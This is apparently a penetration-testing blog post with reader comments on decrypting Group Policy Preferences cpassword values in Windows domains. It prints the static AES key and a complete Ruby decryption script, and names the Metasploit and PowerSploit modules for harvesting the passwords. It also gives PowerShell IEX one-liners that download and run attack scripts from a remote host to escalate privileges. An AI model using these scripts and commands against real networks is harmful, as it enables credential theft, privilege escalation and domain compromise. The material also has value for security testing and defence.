Group policy preferences allows domain admins to create and deploy across the domain local users and local administrators accounts. This feature was introduced in Windows 2008 Server however it can be abused by an attacker since the credentials of these accounts are stored encrypted and the public key is published by Microsoft. This leaves the door open to any user to retrieve these files and decrypt the passwords stored in order to elevate access.
These files are stored in a shared directory in the domain controller and any authenticated user in the domain has read access to these files since it is needed in order to obtain group policy updates.
The static key which can decrypt passwords stored in Group Policy Preferences can be seen below:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
Manual Exploitation
In order to exploit this issue manually it is needed to manually browse to the Groups.xml file which is stored in a shared directory in the domain controller and obtain the value of the attribute cpassword.

Then this value can be passed into another tool which can decrypt the value.

Chris Gates wrote a ruby script for decrypting cpassword values.
require 'rubygems' require 'openssl' require 'base64' encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\ x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\ x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah
Metasploit
Decrypting passwords that are stored in the Group Policy Preferences can be done automatically though Metaasploit. The following post exploitation module will obtain and decrypt the cPassword from the Groups.xml file which is stored in the SYSVOL.
post/windows/gather/credentials/gpp

Since domain administrators can set up local administrators accounts through the Group Policy this can lead to privilege escalation. These credentials can be used with the PsExec Metasploit module in order to successfully login to the workstation as SYSTEM.


PowerSploit
Alternatively the same results can be achieved through PowerSploit. There are two modules which can obtain and decrypt the cPassword from the Groups.xml file either locally or directly from the domain controller.
Get-CachedGPPPassword //For locally stored GP Files Get-GPPPassword //For GP Files stored in the DC

PowerShell via Metasploit
As there are many PowerShell scripts that can be used for post exploitation it is possible to use Metasploit in order to inject a PowerShell payload into a specific process. This could allow the execution of PowerShell scripts directly from memory.

Then from the interactive PowerShell session the Invoke-Expression cmdlet could be utilized in order to drop and execute any PowerShell script that is locally hosted.
IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.3/tmp/PowerUp.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.3/tmp/PowerView.ps1")

Good post, have you tried RedSnarf for this as it will find and decrypt GPP as well as looking for some other easy wins within the policies and scripts folders.
Thank you James! I know the tool but I wasn’t aware that it had the functionality to decrypt GPP passwords. Thanks for bringing this up!
No problem, -uG will decrypt the encrypted string and -uP will automatically decrypt any it finds whilst parsing the policies and scripts folders.
Wrote a python equivalent of Chris Gates’ ruby code 🙂
https://github.com/riyazwalikar/pythonscripts/tree/master/gppdecrypt
Thank you for the share! It’s good to have plenty of tools for the same job! 😉